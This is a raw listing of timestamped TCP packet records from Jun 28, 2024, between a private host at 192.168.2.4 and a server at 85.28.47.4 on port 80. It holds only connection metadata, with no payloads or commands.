Jun 28, 2024 22:32:05.565054893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565063953 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.565087080 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.565104008 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.565351963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565403938 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.565507889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565517902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565534115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565543890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565553904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565560102 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.565562963 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565573931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565588951 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565599918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565603018 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.565609932 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565624952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565628052 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.565635920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.565654039 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.565677881 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.566416025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566426039 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566435099 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566445112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566454887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566463947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566467047 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.566473961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566483974 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566493034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566502094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566510916 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.566512108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566521883 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566531897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.566555023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.566570997 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.567289114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567298889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567308903 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567322969 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567332983 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567338943 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.567343950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567353964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567363024 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567377090 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.567414999 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.567852020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567862034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567872047 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567881107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567889929 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567899942 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567903042 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.567909956 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567919970 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567928076 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.567930937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567940950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567946911 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.567951918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567964077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567972898 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.567977905 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.568005085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.568032026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.568795919 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568806887 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568815947 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568826914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568835020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568846941 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.568850994 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568861008 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568867922 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.568871021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568881989 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568892002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568903923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568905115 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.568913937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568923950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568928003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.568934917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.568950891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.568977118 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.569735050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569746017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569756031 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569766045 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569773912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569783926 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569787979 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.569794893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569804907 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569818020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569828987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569839001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569839001 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.569849968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569861889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569864988 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.569871902 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.569895029 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.569911957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.570647955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.570658922 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.570666075 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.570674896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.570686102 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.570696115 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.570700884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.570704937 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.570715904 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.570723057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.570725918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.570735931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.570749998 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.570776939 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.656410933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656476021 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656491041 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656517982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.656517982 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.656554937 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.656647921 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656666040 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656682968 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656697989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.656723976 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.656783104 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656797886 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656812906 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656826973 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.656836987 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656852961 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.656863928 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.656907082 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657066107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657079935 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657098055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657131910 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657145023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657210112 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657226086 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657263994 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657285929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657296896 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657313108 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657327890 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657341957 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657351971 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657366991 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657375097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657390118 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657401085 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657438040 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657732964 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657747984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657772064 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657785892 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657797098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657819033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657826900 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657840014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657855988 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657866001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657881975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.657891989 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.657929897 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.658304930 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658318043 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658334017 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658349037 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658361912 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.658375025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658395052 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658401966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.658416033 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658431053 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658442020 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.658456087 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658479929 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.658516884 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.658833981 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658849001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658864975 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658879995 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658893108 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.658905029 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658920050 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.658930063 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.658957958 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.694847107 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.699651003 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875081062 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875111103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875127077 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875233889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875248909 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875262022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875262022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875283003 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875289917 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875319004 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875344038 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875377893 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875391960 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875423908 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875462055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875477076 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875505924 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875550985 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875648022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875662088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875677109 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875691891 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875703096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875721931 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875729084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875763893 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875945091 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875958920 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875973940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.875987053 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.875998020 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876039028 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.876070023 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.876230001 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876245022 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876260042 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876276016 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.876283884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876300097 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876308918 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.876319885 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876343966 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.876369953 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.876532078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876547098 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876579046 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876589060 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.876602888 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876617908 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876645088 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876652956 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.876667023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.876677990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.876714945 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877094984 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877110004 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877125025 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877141953 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877149105 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877167940 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877175093 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877187967 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877198935 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877213955 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877223015 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877235889 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877244949 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877264023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877270937 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877284050 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877291918 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877305984 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877316952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877331972 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877342939 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877357006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877366066 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877381086 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877413988 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877880096 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877893925 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877913952 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877924919 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877938032 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877954006 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877966881 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.877976894 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.877993107 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878000975 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878017902 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878025055 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878036022 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878048897 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878065109 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878072977 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878089905 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878097057 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878112078 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878120899 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878132105 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878145933 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878168106 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878186941 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878529072 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878552914 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878567934 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878578901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878604889 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878791094 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878806114 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878829002 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878844023 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878854990 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878868103 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878889084 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878902912 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878964901 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.878978014 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.878993034 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879003048 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879015923 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879035950 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879044056 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879057884 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879071951 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879080057 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879095078 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879103899 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879117012 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879127026 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879148960 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879168987 CEST	49731	80	192.168.2.4	85.28.47.4
Jun 28, 2024 22:32:05.879785061 CEST	80	49731	85.28.47.4	192.168.2.4
Jun 28, 2024 22:32:05.879800081 CEST	80	49731	85.28.47.4	192.168.2.4
